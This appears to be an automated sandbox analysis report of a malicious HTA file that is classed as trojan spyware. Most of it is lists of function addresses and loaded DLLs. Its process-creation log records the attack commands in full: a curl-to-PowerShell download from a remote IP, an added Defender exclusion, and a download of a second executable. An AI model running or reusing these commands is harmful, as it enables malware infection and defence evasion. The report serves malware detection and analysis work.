Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DD9D30 GetModuleHandleA,GetProcAddress,OpenProcess,NtQuerySystemInformation,NtQuerySystemInformation,GetCurrentProcess,NtQueryObject,GetFinalPathNameByHandleA,CloseHandle,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,		12_2_00007FF6F1DD9D30

Source: C:\Windows\Temp\Launcher.exe	Code function: 6_2_00B69634	6_2_00B69634
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00B7B4A0	7_2_00B7B4A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00B7B490	7_2_00B7B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_08423AA8	7_2_08423AA8
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DD8330	12_2_00007FF6F1DD8330
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D95310	12_2_00007FF6F1D95310
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DD5240	12_2_00007FF6F1DD5240
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE918C	12_2_00007FF6F1DE918C
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D80450	12_2_00007FF6F1D80450
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DB6350	12_2_00007FF6F1DB6350
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D7F730	12_2_00007FF6F1D7F730
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DD76A0	12_2_00007FF6F1DD76A0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1E10658	12_2_00007FF6F1E10658
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D8E610	12_2_00007FF6F1D8E610
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DDC5CB	12_2_00007FF6F1DDC5CB
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1E0B5B0	12_2_00007FF6F1E0B5B0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D8D570	12_2_00007FF6F1D8D570
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DD6860	12_2_00007FF6F1DD6860
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D8CA10	12_2_00007FF6F1D8CA10
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DB5970	12_2_00007FF6F1DB5970
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D82CA0	12_2_00007FF6F1D82CA0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D8ECB0	12_2_00007FF6F1D8ECB0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D81B90	12_2_00007FF6F1D81B90
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DD5B70	12_2_00007FF6F1DD5B70
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D84B70	12_2_00007FF6F1D84B70
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DF2E3C	12_2_00007FF6F1DF2E3C
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D7FE20	12_2_00007FF6F1D7FE20
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D820B0	12_2_00007FF6F1D820B0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DBD080	12_2_00007FF6F1DBD080
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DDD050	12_2_00007FF6F1DDD050
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DCF020	12_2_00007FF6F1DCF020
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D99F80	12_2_00007FF6F1D99F80
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DCE2F0	12_2_00007FF6F1DCE2F0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC02C0	12_2_00007FF6F1DC02C0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE1220	12_2_00007FF6F1DE1220
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DF71D8	12_2_00007FF6F1DF71D8
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D56180	12_2_00007FF6F1D56180
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE6164	12_2_00007FF6F1DE6164
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE3150	12_2_00007FF6F1DE3150
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D75520	12_2_00007FF6F1D75520
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D76510	12_2_00007FF6F1D76510
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DF14E4	12_2_00007FF6F1DF14E4
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DAB480	12_2_00007FF6F1DAB480
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DFA44F	12_2_00007FF6F1DFA44F
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DAC420	12_2_00007FF6F1DAC420
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DCB420	12_2_00007FF6F1DCB420
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DDA430	12_2_00007FF6F1DDA430
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D783D0	12_2_00007FF6F1D783D0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DFA3C8	12_2_00007FF6F1DFA3C8
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC63A6	12_2_00007FF6F1DC63A6
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE5394	12_2_00007FF6F1DE5394
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DA4720	12_2_00007FF6F1DA4720
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DF46E4	12_2_00007FF6F1DF46E4
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DF36A8	12_2_00007FF6F1DF36A8
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DF8674	12_2_00007FF6F1DF8674
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE666C	12_2_00007FF6F1DE666C
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D56610	12_2_00007FF6F1D56610
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE5598	12_2_00007FF6F1DE5598
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DD6540	12_2_00007FF6F1DD6540
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DEA924	12_2_00007FF6F1DEA924
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DCC8E0	12_2_00007FF6F1DCC8E0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D898CD	12_2_00007FF6F1D898CD
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DEF7E6	12_2_00007FF6F1DEF7E6
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE579C	12_2_00007FF6F1DE579C
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DAB780	12_2_00007FF6F1DAB780
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DDA780	12_2_00007FF6F1DDA780
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DB2750	12_2_00007FF6F1DB2750
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC8B00	12_2_00007FF6F1DC8B00
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DA1AF0	12_2_00007FF6F1DA1AF0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DB0AC0	12_2_00007FF6F1DB0AC0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DABAB0	12_2_00007FF6F1DABAB0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC5AB0	12_2_00007FF6F1DC5AB0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D80A80	12_2_00007FF6F1D80A80
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DF6A68	12_2_00007FF6F1DF6A68
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D83A30	12_2_00007FF6F1D83A30
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE0D14	12_2_00007FF6F1DE0D14
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DA7CEB	12_2_00007FF6F1DA7CEB
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DFBB90	12_2_00007FF6F1DFBB90
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC5EF0	12_2_00007FF6F1DC5EF0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D80E80	12_2_00007FF6F1D80E80
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DD0E90	12_2_00007FF6F1DD0E90
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D87E70	12_2_00007FF6F1D87E70
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DABDD0	12_2_00007FF6F1DABDD0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D8ADD0	12_2_00007FF6F1D8ADD0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D55DB0	12_2_00007FF6F1D55DB0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC4D40	12_2_00007FF6F1DC4D40
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE8D50	12_2_00007FF6F1DE8D50
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DFC128	12_2_00007FF6F1DFC128
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DEF0D8	12_2_00007FF6F1DEF0D8
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D570E0	12_2_00007FF6F1D570E0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DAC0F0	12_2_00007FF6F1DAC0F0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DF30B8	12_2_00007FF6F1DF30B8
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1E0FFBC	12_2_00007FF6F1E0FFBC
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D8BF40	12_2_00007FF6F1D8BF40

Source: C:\Windows\Temp\Launcher.exe	Code function: String function: 00B6F3E2 appears 34 times
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: String function: 00007FF6F1DE8254 appears 34 times
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: String function: 00007FF6F1D7BA80 appears 32 times
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: String function: 00007FF6F1D986B0 appears 54 times
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: String function: 00007FF6F1D7E1D0 appears 33 times
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: String function: 00007FF6F1D86940 appears 41 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winHTA@19/14@1/3

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DDB9B0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,

12_2_00007FF6F1DDB9B0

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1D8E610 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

12_2_00007FF6F1D8E610

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B6642D CoCreateInstance,GetUserDefaultLCID,StringFromGUID2,wsprintfW,RegOpenKeyW,RegEnumKeyW,RegOpenKeyW,RegQueryValueExW,wsprintfW,RegCloseKey,RegCloseKey,

6_2_00B6642D

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6696:120:WilError_03
Source: C:\Windows\Temp\io12j1es.2tm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mmm-A33C734061CA11EE8C18806E6F6E6963466ADAAD

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snp1f1vq.qjo.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: script.hta

Virustotal: Detection: 14%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\script.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s http://147.45.47.15/script.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -Command -
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\Launcher.exe "C:\Windows\Temp\Launcher.exe"
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\Temp\io12j1es.2tm.exe "C:\Windows\Temp\io12j1es.2tm.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s http://147.45.47.15/script.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\Launcher.exe "C:\Windows\Temp\Launcher.exe"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\Temp\io12j1es.2tm.exe "C:\Windows\Temp\io12j1es.2tm.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
